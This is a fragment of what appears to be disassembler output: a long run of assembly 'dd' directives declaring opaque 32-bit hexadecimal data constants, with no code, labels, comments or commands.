		dd 0B0962ACBh, 0F188CA73h, 6DB18985h, 332B86AAh, 80D97DE5h
		dd 0BA56E4ADh, 1B935F4Ah, 3B0F684Bh, 0C1C1F1h, 465AC9C3h
		dd 5CEAAB44h, 73A73F73h, 58058BD5h, 6E843F0h, 6E4A2BB2h
		dd 732D16D0h, 0EDA8EA55h, 67A486BAh, 89C1BE3Ah,	0DB4CF73Dh
		dd 0F8F18DAFh, 315727BBh, 0F53F492Ch, 0DF6D8786h, 0E3CC6C8Ch
		dd 49EE6C7Dh, 0FF12E45Bh, 99EC2BC5h, 0AFA38E3Dh, 0CABF0ABEh
		dd 923E136Ah, 0A780825Ah, 0BF4985A2h, 67301D7Ch, 7D4E7237h
		dd 7D996AAh, 0BC8B4A46h, 0C50D1266h, 0E65B65D7h, 390B3ECBh
		dd 87E39AA7h, 0F6722B23h, 0ECC1F6BCh, 0CCC745C6h, 118940A4h
		dd 1B1DB55Bh, 8D1482F8h, 0EB4F4CF7h, 31E4FE75h,	29A3D3EFh
		dd 0C4C95401h, 0DA3962B4h, 0E1A609A9h, 0E00AABBDh, 0A51B67C8h
		dd 8C70E2D5h, 0E16076ACh, 0B67E1018h, 0ABC4FFCh, 2CC2D56Fh
		dd 0D6451665h, 24E4EB7h, 0DB0C6B88h, 5DCE15CFh,	6D066B04h
		dd 32D4E13Dh, 0EC7258BFh, 6F079981h, 98FC5A54h,	0A61DAED1h
		dd 66B28B1Ch, 0F5899939h, 6986824h, 98355BA0h, 19BE12DFh
		dd 0AB857218h, 6F684C22h, 0B3BC8C5Bh, 81C1CAE3h, 0CAA78AC3h
		dd 0C5C28112h, 4BCD03CBh, 857ECD55h, 280CB9DCh,	51049E06h
		dd 8EC214AFh, 0FF195F49h, 4C4D70CEh, 928A23CEh,	0A4997405h
		dd 659B49FDh, 6B3398D3h, 0A59BD2FCh, 38EB377Ch,	0A2827BEDh
		dd 0B6424686h, 2918AD05h, 75C22EEDh, 0BC0E9A1Ah, 27F39809h
		dd 5E9F6335h, 8E32C08Dh, 110780AFh, 4CDAAC4Fh, 9AF5DAA3h
		dd 5B96BDCFh, 650C81DAh, 68681F49h, 70FBED3Dh, 4CC8F1A2h
		dd 0F473D12Dh, 309B9CBh, 0B3F551E0h, 77B00726h,	0CEE60919h
		dd 2FD0E784h, 6E797BB5h, 0D22EA2F0h, 3BEE3045h,	0ACC47CF5h
		dd 17D0AEB0h, 0ABF9B6E7h, 6B4129B4h, 8D128415h,	0C0F7677Eh
		dd 4A6A7DA1h, 6CD7707Dh, 71FCB0DBh, 0B6B9A702h,	3FDD64D1h
		dd 0B0871C0Fh, 6A677739h, 5BF5E0E6h, 5AC042AFh,	0D0AB6729h
		dd 0A400FA28h, 4AB7C5E9h, 49B7F8F4h, 0C25EBF0Eh, 0E2C15E99h
		dd 0C7D4ADD6h, 0B08C4A8Eh, 0D8C77672h, 172FFF91h, 0D4632679h
		dd 2332EB93h, 303C90AEh, 0E247147Dh, 0B2B008C6h, 0C3112DB5h
		dd 0D708D93Bh, 0B83C07B3h, 2589FBD7h, 19B76105h, 0ADE1912Ch
		dd 2C2A2A22h, 15153704h, 0C591B09Bh, 0ED179A83h, 3064A77Eh
		dd 1CAC1555h, 0DCA4D1D7h, 86E64837h, 0F19A09F7h, 0D1FEC4C3h
		dd 0DBBB7532h, 463E0D83h, 378B207Ah, 1650CC61h,	1935F473h
		dd 288E9BECh, 42A8A3E5h, 78C568D7h, 9E3FD0D6h, 1AEAFD53h
		dd 0EB4389CFh, 463CABB3h, 0F2B8F13Dh, 4E18E576h, 44A62F76h
		dd 606F564Fh, 7FBB0C7Ch, 0E2B9DB3Bh, 0B3F08B7Dh, 6D8BEE98h
		dd 8982B558h, 17722F69h, 0DC7ABD46h, 717B52BFh,	0EC2ED49h
		dd 0EAB25971h, 0D769D8C8h, 6CB36A58h, 8BF628BEh, 5D331F3Ah
		dd 8AEE1A92h, 0DD6DA622h, 385A2702h, 0EAFEC0F1h, 87D326E2h
		dd 0EA3E8975h, 9801A164h, 59FF012Dh, 0AC425C7Fh, 80AB16BCh
		dd 66BC9B16h, 35EBE710h, 5E56FF68h, 427E6916h, 0F1EC411h
		dd 15447B4Eh, 5FB208F3h, 78A1A614h, 79FBBFDEh, 16131D6Ah
		dd 679B8F03h, 2729E586h, 8F65AA69h, 24BAA826h, 7335DF8Bh
		dd 0F7F1FD6Ah, 3F9D43B2h, 75545A58h, 2C8DB80Ch,	0FDE6408Dh
		dd 9F3B4110h, 0EDA4F114h, 0CDEB5C36h, 1DA1C2D7h, 2031B35Ah
		dd 52627AAFh, 0E308C1BDh, 7ACFD37h, 0E1F5105Fh,	9F6C0E0Ch
		dd 934CD444h, 0A6AF8519h, 70F2248Fh, 96468763h,	1A56CC72h
		dd 87BFB3DAh, 9B6DB43Fh, 55B708D9h, 1EBCA2A3h, 9322A883h
		dd 0B1565E6Bh, 0A2262FCBh, 58D0220Ah, 0C49B463Eh, 0CFE9A6AEh
		dd 85510EA6h, 9B45395Bh, 15FFDA0h, 99929563h, 8634B4B8h
		dd 90F63EFEh, 4F3C5F95h, 28735155h, 831FB9DDh, 1CFF3060h
		dd 8EC27F63h, 32AC686Dh, 83C632DDh, 83CD43B7h, 67FDD181h
		dd 0AAF440A1h, 0D880FA1Ch, 0C912C367h, 64123015h, 0DF4D0EE4h
		dd 0CD188361h, 123D979Ch, 0F34A2C2Dh, 222C16B5h, 0F2746E0Fh
		dd 0FC45AA94h, 0AEC766B0h, 5AA6BA44h, 759DE169h, 0E762171Ah
		dd 0B22C7814h, 92DD36CFh, 9037AF8h, 0E7C0EE7h, 0F93CECC1h
		dd 4C42FC51h, 0B7438DFEh, 0B9EA9688h, 0D4EF1C15h, 0DCE4336Ah
		dd 859803C6h, 43F335B9h, 5B1B5AC9h, 5FCA7ED6h, 411AF582h
		dd 3BA100A0h, 9A0B1F4Fh
		dd 53CAFC8Bh, 509F3896h, 0F4DE0BF1h, 0B7BEC7F4h, 9FEF66DCh
		dd 4CEEE2B2h, 3828BF09h, 8698EBBh, 0E171A27Dh, 0E8412DF6h
		dd 0C5D30017h, 46C1229Dh, 449AFB6Bh, 35DEFF3Bh,	456946ABh
		dd 0B71818B1h, 10311812h, 0A4212CCFh, 0C2ED5F5h, 0AAB674CBh
		dd 0F60FDA02h, 0C766B2A5h, 224D68DBh, 0F8A46EDBh, 84E9B40Bh
		dd 4C7CA3C1h, 66C4C8D4h, 9CD64DCEh, 5ADA8EE7h, 4C9A078Fh
		dd 0EFDF69A7h, 5A99932Ch, 0ED32B4EAh, 8B430FC6h, 554ABD9h
		dd 0C6E5207Fh, 0A42832ACh, 65FEBBAh, 1DDC6454h,	13054B57h
		dd 0BA2FD93h, 0BDFEFA28h, 8769FB7Ch, 0D758C8B6h, 0C7756DE6h
		dd 7FF75B6Bh, 0F28E8CA3h, 0FC2046C4h, 0E4C661E8h, 68EC2FB9h
		dd 0B16796ADh, 0BF536C3Bh, 8BFB0983h, 0DDCEFF66h, 3379AF16h
		dd 0C31CAD95h, 95AAACFEh, 9E552798h, 7BDC1F81h,	13E7C2FFh
		dd 45FC5709h, 729A67A7h, 5F44E5FFh, 0AD7F3495h,	1336F4D3h
		dd 7C4DCC50h, 0EF096245h, 87D26F95h, 0E6B1C977h, 9A6F9659h
		dd 0B1A1A1F8h, 0B1D64570h, 0B93D2A94h, 0E3F59561h, 0EC355791h
		dd 0E1CF2934h, 0EB99595Ch, 0BCB1476Ah, 9F4C7250h, 2F9F402Ch
		dd 227BB04Dh, 0F8EC0A0Eh, 0AFCCF92Fh, 0EF1C44B5h, 0B27A65EBh
		dd 0BB68EBDEh, 0D1D0197Ah, 6ECE754Ah, 66CAA6DBh, 0ECD89531h
		dd 0F488CE7Dh, 0CCECA7B5h, 0A5F81B93h, 0FE424BBFh, 0DB653F0Fh
		dd 0DA76703Ch, 0E48D656h, 303CBEC2h, 0DAA18B56h, 0E3CEB834h
		dd 0EAA3852Fh, 0EB517E66h, 9B8B3C53h, 2EC02E3Ah, 0D5A87B4Dh
		dd 0FB8EFDF4h, 0D08CA775h, 0B9B6A872h, 9C3ADDA2h, 0BE67EB6Ah
		dd 6CA8095Dh, 5E373562h, 3B10FF34h, 3FC19B85h, 773CC87Eh
		dd 0F12E5B50h, 66F1313Eh, 0F16288F0h, 24B5B4FBh, 946751B0h
		dd 127ECEB8h, 9B7FD446h, 2E8B5575h, 0D9DF897Ch,	9018B3FDh
		dd 96933707h, 2481C0Bh,	6A8E7773h, 974D13C8h, 0D6E6B545h
		dd 6CBA7D79h, 9DA3D1F1h, 0D80ED26Ah, 647959B2h,	6DB32328h
		dd 0ED1E8C03h, 0ACC0E764h, 67DAEC1Ah, 0D66EA61Ah, 4E068DFEh
		dd 836FA8B3h, 0D18A0D7Ah, 12ADEF4Eh, 0F4FCE53Bh, 5F52C062h
		dd 0DE9ECE3Eh, 1B4DFC8Ch, 8B61B99Eh, 0DB7C2D63h, 0A26B5403h
		dd 0B890FB82h, 0DFEF690Fh, 0AC344D3Fh, 0E62AD289h, 88361BCCh
		dd 0EADF6AB8h, 0F76D7C99h, 25E781F2h, 45552B47h, 0CD0C508Dh
		dd 0FE360563h, 0BF174532h, 68B08E49h, 6638A34Dh, 0A9A283CBh
		dd 0FC0D6A6h, 0CFA4CEB1h, 4626475Dh, 0B89259DCh, 4AFCD2A9h
		dd 0AB464FE9h, 0B328165Bh, 5F23FB0Ch, 6875DBF8h, 0ED7E0BCBh
		dd 75A23DEBh, 0ED8C518Ah, 0E7C2826Ah, 0D96968ECh, 0B233AE99h
		dd 1857F3Ch, 9F81309Fh,	0DA6F1E03h, 7BD317FBh, 6704D97Ah
		dd 377E0D19h, 4B179FD6h, 81281693h, 1A50E7FCh, 0E23FC0CEh
		dd 0D3823E18h, 0CF2B7A08h, 7FB33568h, 0C7CA52EBh, 2CF4F26Dh
		dd 1B7451F5h, 0D63DAD62h, 2D02A4F9h, 28F0ACEh, 0BEA2F83Ch
		dd 79FDB66h, 2E4C1115h,	1E96A5DDh, 1543F2D1h, 9A4C6595h
		dd 0FDD18D04h, 6E8C31A5h, 0D5637FBDh, 0FB67853Fh, 8C1DAC97h
		dd 0AAF6253Dh, 0B98DA394h, 5C6D6368h, 1BB2009Ah, 75EF81BFh
		dd 0D62AAA97h, 431DCB00h, 3B692B85h, 0DA93984h,	48971C7h
		dd 0AE89D781h, 631EFCC6h, 749F8377h, 0D94DDD34h, 0E75D0C3Ah
		dd 81FAFDDDh, 64F59946h, 9B909E2h, 70452565h, 795AFF07h
		dd 69CCEBD7h, 0CAC7296Ah, 0DAC10E6Bh, 0E04515E0h, 0CE72E257h
		dd 0AE17CE4Dh, 1E1D776Ch, 41A6D2FFh, 0EBF06CF4h, 831BC213h
		dd 9EDC449Ch, 0FF41F6ADh, 0A028396Bh, 7C0029DFh, 92F162D9h
		dd 7890B192h, 1E66783Eh, 0AECDF30h, 68CAA2EAh, 0B3BA6349h
		dd 0FD576AF6h, 575EDBEDh, 0DE54E9B5h, 0BAF6BA89h, 0AE8EAD1Dh
		dd 0D5DF2FF6h, 2EEE4E12h, 9DAC5890h, 3926A3A0h,	0C7B563EAh
		dd 475F77E1h, 0C4322A69h, 0B5D6779Ch, 619DD16Ah, 709A8AD6h
		dd 1C3526E0h, 0ECD4242Fh, 0BB937345h, 0D59D1AD1h, 0AB1BB47Ah
		dd 0B872A40Fh, 75DC5B49h, 77F6B85Fh, 9332228Eh,	2276EFD3h
		dd 82F3BE46h, 9AB4CA82h, 5CEB1AB1h, 712E49FEh, 0E0C5B397h
		dd 48D18C7Dh, 9A58F905h, 53913CEBh, 0B39E0794h,	195D879Ah
		dd 1752464Fh, 531961FDh, 15F6CC59h, 0E442188Ch,	98593B2Dh
		dd 52C1463Eh, 0CA0DEFC1h, 152F1788h, 0BE31586Fh, 29AA5994h
		dd 0B47C3748h, 4DD6E67h, 0E3F8D3B8h, 0ABF17EFAh, 0A16E979Dh
		dd 65F26ACAh, 45957195h, 0E7085597h, 0BF04E12Ch, 0C14CD1EAh
		dd 0F77AEFB3h, 0C45D89EAh, 0B6930549h, 0BF1468A7h, 4294B56Ch
		dd 0FF6B99C5h, 5085C769h, 9D5921C9h, 9B361CC4h,	2DD13219h
		dd 50DE704Bh, 9FA58854h, 17D02DB5h, 8C90E839h, 0F3A7A068h
		dd 998B56BEh, 27860480h, 9448BB1Eh, 3B801B4Ah, 8BFA82F3h
		dd 0B4CE1EAh, 0E649733Dh, 2A30C4BFh, 5CC6D6F0h,	5F6A3656h
		dd 1EFC99C3h, 0A3699D23h, 79170F9Bh, 2D7897ABh,	0CAED04AEh
		dd 0BB5123B8h, 0EB3F8DB2h, 7D0C91EBh, 98BB0C4Bh, 0CB25529Eh
		dd 0A763A38Fh, 0D29A155h, 44D54728h, 7BADC2B2h,	284D1B45h
		dd 8F2A486h, 99EDDB5Eh,	25695BBDh, 0CFBA3328h, 0B2A4BE06h
		dd 2DA336A8h, 5F8DE5Ch,	0BB815DBCh, 3EF3CDA6h, 0F85AF957h
		dd 0CAC2F3E5h, 0B7561D84h, 1DF4FD5Dh, 36D2D827h, 7AB399F8h
		dd 0C02F1794h, 2A36605Fh, 0CC9FEFF6h, 5F17C435h, 0F355B4F8h
		dd 3D4E8986h, 0B3F20057h, 0DD75156h, 77C7895Fh,	9F3F9503h
		dd 0F19165E0h, 0D2AA36CDh, 88708165h, 303E8DF9h, 19477D45h
		dd 6AB17859h, 6F202566h, 0D620DA0Ah, 0EA97FBE7h, 6C199307h
		dd 3FB54ED4h, 0B59A5A7Eh, 2B06D564h, 4CAEFBB7h,	6ACD35A3h
		dd 5D4F5E09h, 0B98DC3F1h, 5404AB84h, 28EDEF43h,	0C4C1CC39h
		dd 0B69799CEh, 0D9F7C8A9h, 99211934h, 0F8D9EA2Ch, 0CE654A3Bh
		dd 0D9395E5Dh, 0D3719853h, 32DEBDAFh, 683B8E8Fh, 762E76AAh
		dd 0EDEDF6C5h, 24E68A1Bh, 0C8277D6Eh, 0B143C098h, 0C24188C2h
		dd 0D8D5AD33h, 1F01CC33h, 545B19C3h, 11794465h,	241C060Ch
		dd 14257ACFh, 76352830h, 65163976h, 2CDEF84Bh, 0E4B8C0Fh
		dd 39EE9EBDh, 0E3D773CEh, 69FDD575h, 9D77A2E6h,	0F63B3B5Ch
		dd 0ED8A1A29h, 0CBE4CE84h, 0FC3AE28Fh, 0B155DB8Bh, 0AACE50CBh
		dd 6D16600Ah, 0E8620A5Bh, 8D010CDAh, 0E007A6ABh, 90FCC3AFh
		dd 0B2D06772h, 0EBCC7DFEh, 4751F367h, 0A6DF9F9Eh, 8FCD9E4Ah
		dd 0F69703EFh, 214E3D4h, 456A4EEEh, 0B57AA703h,	719AEA3Ah
		dd 2EAAD1D2h, 8E9C6A5Eh, 2FFA7957h, 8ACA10C5h, 7665D150h
		dd 0DC82720Bh, 46AD26CDh, 0F01897E5h, 0D795F67Ah, 0F46A40AEh
		dd 1708CFE2h, 0F6AC9558h, 8DF4C4A8h, 60D9D333h,	0DFFBB229h
		dd 9CC2B029h, 4CED1F79h, 0ED4A5029h, 0AB8DC456h, 8F72F03Fh
		dd 99E257A3h, 9922A396h, 0C5CDF9B5h, 0F750FD40h, 12051DF8h
		dd 388F8F85h, 5F2F2545h, 1044F282h, 0B3150CAEh,	8205CB3Bh
		dd 0BEC21DC5h, 1A98A3C2h, 0DE8A528Dh, 1BE6A87Eh, 6DA7A07Bh
		dd 28EDBF3Dh, 0BCEAF93Bh, 0BD7DC966h, 61ACDCC0h, 10949F1Bh
		dd 5AA18DB1h, 2A692B2Dh, 466A5E72h, 9FDBB659h, 50499F39h
		dd 2938B62Eh, 72ED3076h, 6DEA63C6h, 0E9D2975Ch,	0EDA7FB53h
		dd 0E82AD028h, 16D357B0h, 0D9DE9C45h, 0BB9D9137h, 0C684F2ACh
		dd 422CD9E7h, 8B1BB106h, 7A9891D7h, 0F8939AFAh,	0FA632CBCh
		dd 0AEB51483h, 0B024D3Fh, 1A17A75Fh, 33952F81h,	0BF54323Ah
		dd 0CDB28933h, 0A83C59D8h, 1EC9A851h, 10B92EBAh, 0E9732DB2h
		dd 911637B5h, 5CEEFFBCh
		dd 3DBA5452h, 951481DDh, 0D9FC29C7h, 0DF716E17h, 5D847114h
		dd 0BD250172h, 0A69E4155h, 0A05D28BBh, 3FF85AF7h, 0A53C0166h
		dd 23451A1h, 0B1BA3E0Fh, 268B966h, 2BD3DA90h, 9F3E75A0h
		dd 3B66C0D5h, 6C68B897h, 8311B25Ah, 3D9AF44Eh, 0CF7D4466h
		dd 0B277A006h, 8DA0D348h, 372B65D7h, 18EF0560h,	86574723h
		dd 6E0F72C9h, 0FD6B7054h, 6E619E36h, 29105FECh,	58D9F636h
		dd 56B46370h, 435534A4h, 4F8E1AD1h, 8CF1703Ah, 1AA725E2h
		dd 4473B6DBh, 0C0F12E92h, 59CF672Dh, 9E33FE37h,	0EBC018BFh
		dd 0D7352A8Fh, 9771C3F7h, 3E965D81h, 55F41189h,	7D8AE354h
		dd 89F3AA6Ch, 675BAD68h, 0FBBEF3Ch, 26B4384Ch, 291A1D6Ah
		dd 2C9EFA1Eh, 0D2B47680h, 0B84933EFh, 654770FCh, 5C40B377h
		dd 141F514Fh, 0DBDD6A2Fh, 0C1E33ED0h, 5A34FBC3h, 1EF5461Ah
		dd 0B4D1F8D9h, 0B241DD04h, 0D75C5A06h, 671D55EBh, 0DA76882Ch
		dd 0B9655CD8h, 0E0C9AF33h, 0E0F1913Bh, 0CEC1D97Eh, 0ABE4F6B1h
		dd 8F0D8D9Ah, 4E1F6E8Ah, 3A8EDE15h, 0F8219235h,	17F97F1h
		dd 0EDB0338Bh, 2B57DDAEh, 213F5C69h, 392DD40Bh,	781D9E2Dh
		dd 5C413DC5h, 17BCEC8Dh, 28D0C9DCh, 1676E53Bh, 0E32C3F18h
		dd 1F52F7BFh, 36288CB5h, 0FEF0AC6Bh, 5571303Ch,	42D07FA4h
		dd 302D305Dh, 0B225322Dh, 8D1BC596h, 0A1F8746Ah, 3B0C1AC4h
		dd 5ACE990Bh, 917557F7h, 0A7C228D3h, 2C3C8E52h,	0B5FDBCDAh
		dd 38B838F3h, 0E2DD7AF4h, 7D8984EFh, 8DAA7501h,	0B65A1CD7h
		dd 519DAF88h, 91293C43h, 0D47DE27Fh, 0A9459C5h,	0CC143B00h
		dd 0D1CC285Ah, 0D057E8E7h, 0B33B970Eh, 6A413BE3h, 34100FE7h
		dd 0DCDFF3C7h, 33AA4FE6h, 0B24EE378h, 93D30536h, 0E62C4D1h
		dd 0DA47A29Ch, 13BBB90Ah, 0F4F2DE92h, 0F7C048C0h, 494A1A7Ch
		dd 7597BFE2h, 9EEC9A89h, 0DF76A3Fh, 0EC17CB21h,	0BA2AE4AAh
		dd 9E144FF7h, 3B47E043h, 0B6054748h, 0E6A84FC2h, 99E22F53h
		dd 0AD59BD0h, 45FDD789h, 9C575A4h, 2C93129Dh, 8E13DB64h
		dd 65302144h, 0A4A746E7h, 0FF1B25F6h, 97BE3B32h, 0C476F47Eh
		dd 1F882FC1h, 6C8F49D0h, 0F33244F0h, 0B56E786Dh, 5A759A16h
		dd 11C8B8B1h, 548FEA23h, 4ED1BCDDh, 0B57C4CEDh,	5B5FFDC4h
		dd 0D2DF90D8h, 71B2966Ah, 0B7EA8D89h, 0EEA437A2h, 9A33E161h
		dd 4C974A73h, 0ABD72FBFh, 0FB443125h, 0CD83A4D1h, 4AFA570Ch
		dd 0A35D4233h, 2E4F2D25h, 0B86DE194h, 0BB4579BCh, 1C8F559Ah
		dd 55574FCEh, 0DABCE24h, 90EB3292h, 9704E3C3h, 0DA637060h
		dd 4EF73AF2h, 64BCB709h, 9F4E70FCh, 5C02CFC8h, 0D0E52E53h
		dd 216991CFh, 7127E6EBh, 0CE1FC1C3h, 0EBAC7D3Ch, 6648AD03h
		dd 0E80D4F54h, 326E3AC0h, 9AA83175h, 25DDFCF8h,	3B56EB46h
		dd 1D13B367h, 7F07FDF6h, 355616Dh, 0C08C6A41h, 49335BA2h
		dd 0D55A75Bh, 214EF82Bh, 5C11EF1Ch, 6419BCDAh, 9FC50A8Fh
		dd 2A0A66A2h, 9CE868A1h, 0D525E80Ch, 0FF175FADh, 0D6604A0Eh
		dd 66D69F5h, 0AAB2E0CBh, 0A2157D83h, 0D09B14B5h, 0F7ED6E5Ch
		dd 0B48D9381h, 4E25B96Fh, 0E8776CA2h, 0E528F6D7h, 5CBC1344h
		dd 278D879Ch, 6AD4470Dh, 0BCB1F5E5h, 62B6EC56h,	0DC0DEC8Ah
		dd 690B9D5Eh, 0E1106338h, 0FD97A72Fh, 34BBD68Dh, 0F79819EBh
		dd 4CA7DBC1h, 38DADFE4h, 0CF6286AAh, 38EB32E4h,	5C3D37B2h
		dd 0A329F9F7h, 779EA672h, 0DD70FB97h, 271A26D8h, 0B4613E3Dh
		dd 41B75BBAh, 0AD29E74Ch, 67D9EAD8h, 61015CDFh,	0D2E7A6E2h
		dd 1B8787D4h, 534D6BADh, 0E0E55EDEh, 7D66987h, 7053B035h
		dd 0A515F42Fh, 4ABCCBE4h, 82FF78EEh, 715D515Eh,	0D7A6C8D6h
		dd 94C135F0h, 0BCC60FB5h, 0B5A2350Fh, 0AE9D511Ah, 0E69E57EDh
		dd 809877C0h, 4551B172h, 37FAC5D2h, 98AF251Ah, 0EB98C43Dh
		dd 0D155CE99h, 8B6D84BCh, 83F407F1h, 0CC7D5B3h,	0F54156A5h
		dd 0AAB31BF8h, 86B24938h, 0BF99FC9Dh, 0E943908Ah, 833CDBDh
		dd 4607F0D7h, 0BE5EAB45h, 0AF1D9120h, 674828CCh, 0B90C3E34h
		dd 0E3681D9Eh, 4EBCCAF2h, 150E8123h, 98CE5A38h,	49253BADh
		dd 145FF3ADh, 0C2E4CC88h, 0ED7C143Bh, 8699D48Bh, 0A5537337h
		dd 94CC48A5h, 9421756Eh, 0FF38D774h, 0F9C130ADh, 0F8CD9A07h
		dd 52D668DAh, 0E89CA57Dh, 0EF4B2591h, 0BBDF28BFh, 0A22AC494h
		dd 284BF9CBh, 7973ED06h, 816FDB40h, 0F7A969B7h,	79CDDA5Ch
		dd 8D374975h, 0E46DAA16h, 69E3ABDDh, 5709E4D0h,	0D80B3B86h
		dd 797487F9h, 0B2163D19h, 0DE72ABA6h, 6D5304CCh, 0ADDEBB4Bh
		dd 0CF94B474h, 3CD2D26Ch, 0AA728318h, 10139855h, 63DE8D36h
		dd 0C72B47D7h, 2D3E25DEh, 0B43FF483h, 0EC2BDAFFh, 23AB0970h
		dd 652ECB4h, 0DFE26F75h, 7157CCC9h, 7B223191h, 0A41D3EDBh
		dd 52A7A51h, 0D5118A22h, 624712E5h, 2FD434CBh, 872E5257h
		dd 6C99D418h, 0D83CDDCBh, 6FBFE242h, 59C71955h,	0A3A60305h
		dd 5209FC5Bh, 7A7D55D6h, 26C5244Ah, 0A87B8972h,	82913131h
		dd 0DD7DBE6Ch, 64ACEEEEh, 2D771136h, 0D52C87E2h, 5EDD5F0h
		dd 0AB7A7ED9h, 0A00EFBDAh, 2A984C65h, 0D4D41A60h, 0BA95F7B1h
		dd 0EF66ABB1h, 22AFED2Bh, 0A519147Bh, 581C69E5h, 0D87E4DA2h
		dd 698A23Dh, 0FB5F37A4h, 3E2F1EB6h, 0F2898B87h,	0FD28F7D2h
		dd 1F8C3D74h, 0DAB2EE06h, 0D8C4B9BBh, 0D571969h, 5B8591CFh
		dd 8A2EA30Fh, 8A62DF16h, 0C7AA6D35h, 27688BB0h,	375B0256h
		dd 42411492h, 75FCA23Fh, 0A6695A93h, 0BF88AC4Dh, 62D48D43h
		dd 0A71C27BEh, 72D1ADF1h, 0B1163AB6h, 40BF47BEh, 2B94DABFh
		dd 33FF4AFCh, 38513641h, 18AA4D23h, 0D840CC64h,	0FD6A97F9h
		dd 0FEB3B2DEh, 0C4749842h, 0EFA7BF92h, 6DCBCBD1h, 723D9582h
		dd 0FCCBF9EEh, 64B4EF2Dh, 760787D9h, 0BF84F127h, 0BACCD6E0h
		dd 0FCDADA57h, 57AF8618h, 3B8B5DEEh, 0BFC73916h, 0B6FCCBF4h
		dd 17685ADFh, 8EE1DC4Ch, 0B470A0BAh, 0BA95D9C4h, 14669589h
		dd 69669252h, 0ADD742EAh, 0EE3098EDh, 0E36C404Dh, 0F25A9361h
		dd 6095B998h, 1E8195EBh, 7BD250C9h, 48A8F61Dh, 1C7AB98Fh
		dd 0D8A9FDEDh, 1E7EF8DFh, 0E2706C9Ch, 0EE4E1A94h, 57592D8Ah
		dd 24318D68h, 556505EFh, 252CA0B9h, 0DB939665h,	0A9372EC2h
		dd 52B4422Ch, 159CEADBh, 82E079BFh, 0B0E3C36Ch,	0FDDEE176h
		dd 88FAA922h, 560D16E2h, 0E21A0525h, 8225D2A8h,	1CF18F1Ah
		dd 3515A6B5h, 0AD54673Ah, 8EE946ACh, 6A2298DFh,	0C4A5E9B6h
		dd 0BCC2ACE7h, 0C0795C07h, 0D730D1D9h, 6C6FE2AAh, 972FE1F5h
		dd 0C0F961B1h, 7624CCA5h, 36B1585h, 4A214379h, 0DE6EFD68h
		dd 515CD659h, 463BCDF4h, 0E531B32Bh, 25F400F9h,	84D6855Fh
		dd 17167FBAh, 43E56C9Dh, 86747435h, 76025DBAh, 0E8D688A8h
		dd 32061F8Ah, 76320083h, 8045DD87h, 85072A3Bh, 0EB8544C4h
		dd 0A746B628h, 5059AADEh, 92E54ADDh, 92431832h,	38F5E3Fh
		dd 0F30833E0h, 0EF1E7574h, 27F62C68h, 4BFC561Bh, 1C439037h
		dd 0E7E6B904h, 7E2EE10Bh, 16666B3Fh, 74DDD78Dh,	7DA83D29h
		dd 0C093C4B2h, 5559C62Fh, 6D421446h, 0EFCE9D19h, 0BE1B4AA3h
		dd 0E62993C8h, 0A571695Dh, 0AA3DEC21h, 70C83C3Dh, 98DE55A7h
		dd 3D5CD98Ch, 4B0CD9C8h, 2CF14F97h, 0CBF25F85h,	5D7AEBA5h
		dd 0E06CD291h, 0C8D53179h, 515444B8h, 87CE0953h, 0C9C10A1Fh
		dd 0FD9D4E1Fh, 47C53FD9h, 1CAA213h, 0D9DF5C16h,	0F5428E3Fh
		dd 87E20F8Ch, 50EBD97Eh, 1A4F7DB5h, 4546AECBh, 74ED3311h
		dd 90E548C1h, 93FECD76h
		dd 0F798C052h, 214A8FE0h, 203005F8h, 256216C4h,	0F0C8EA5Ch
		dd 756AAB81h, 0C48EE876h, 78AB32D8h, 0BF0E7AE9h, 0D1DFE6C8h
		dd 0DBBD811Bh, 0C1569C66h, 0C626039h, 832ED06Fh, 7931F88h
		dd 5E6228E6h, 125E78FAh, 0C88D274Ch, 92722781h,	0CDC7CE39h
		dd 8774FCABh, 3CA9E022h, 0B5DD769Ah, 912E2CCFh,	48AC3F59h
		dd 0EF8F8823h, 4B83489Fh, 0BE55386h, 1CC3EE8Bh,	4EB97FD1h
		dd 6F5AF1B3h, 56FFF0E1h, 0BCEEE4E5h, 73CF581Eh,	87C5F723h
		dd 89CEBF36h, 0CF56113Ch, 767DC42Dh, 68A6A74Eh,	57F6F3A6h
		dd 211B07F3h, 87E34F1Fh, 55E2E1DEh, 19035CBh, 66B4BBC1h
		dd 919C7F6Fh, 559855E2h, 0E829AD61h, 45FCA3E1h,	9F419FE5h
		dd 0B8F213FBh, 8E2D6FF4h, 0E2A9738Eh, 9F48ACCCh, 0EE2EBF59h
		dd 0CB72B557h, 5F3F38FDh, 0D5ECD6C5h, 0C65394EDh, 737B11C6h
		dd 55E1DF1Eh, 8F964EF7h, 0C59132AAh, 460AD74Ch,	88A98F9Ch
		dd 0CC13F33h, 32A12ED1h, 562A4BACh, 285468F4h, 0E127C07h
		dd 0B8D5F862h, 8AA4C07Dh, 778DDA65h, 0A2F5CBF9h, 8B44A366h
		dd 57575C59h, 4E5F920Eh, 0AE026CFBh, 0F85C7916h, 0CD7A31DAh
		dd 0EBAFBA5h, 8949ABF9h, 0C1955618h, 76B62F11h,	18A8A1D9h
		dd 4E336D33h, 1E22B241h, 3233ACB6h, 0C3918AACh,	2F8B8095h
		dd 590D8C84h, 0F9536054h, 944F1DC7h, 51AB55D9h,	0B22284D2h
		dd 0A6645D50h, 0AEF58BE8h, 94CDFEB6h, 74C51B01h, 16481228h
		dd 0E99250A3h, 0D41A6390h, 7B5A4FA4h, 635B9DB8h, 0E3698C0Fh
		dd 52650C29h, 0B6ABF4A7h, 0CEC21215h, 0DA4D7DAEh, 0F83DD72Ah
		dd 2FA3A4C0h, 0B0CA965Fh, 6A9DADD4h, 8AFBDA76h,	0C3AD361Fh
		dd 5C07E65Bh, 8C2EB49Bh, 6CBD83EAh, 4351F38Dh, 9B409898h
		dd 6194D559h, 0B048A4FAh, 474667F4h, 0E8BE72D8h, 0D635AAE0h
		dd 11DE30D5h, 0FC1DAD56h, 2AAD775Eh, 0A821FF26h, 2D8DD561h
		dd 0B96DEBEh, 0D57013ABh, 549FF98Fh, 0A998DCD8h, 0B3FCA4B2h
		dd 0EF97C469h, 0C4EEAFA4h, 0E0BA81E2h, 3876DE65h, 4621D3E4h
		dd 0C8D58AADh, 614C97ACh, 56595CC2h, 0EF21DE7Eh, 0B172CC8Fh
		dd 0ABFD449Dh, 0BB909D6Bh, 0DC6A0722h, 406B31Ch, 669355BCh
		dd 12D5DBB9h, 22052C51h, 3FD85F06h, 0E49968F7h,	0C42245FEh
		dd 3DDC1ECEh, 69B2BE8h,	0E1AFD15Bh, 88E4F95Eh, 0DA81CA71h
		dd 0DA994715h, 13563B68h, 0EDD150A7h, 0FAA725EBh, 40A4D715h
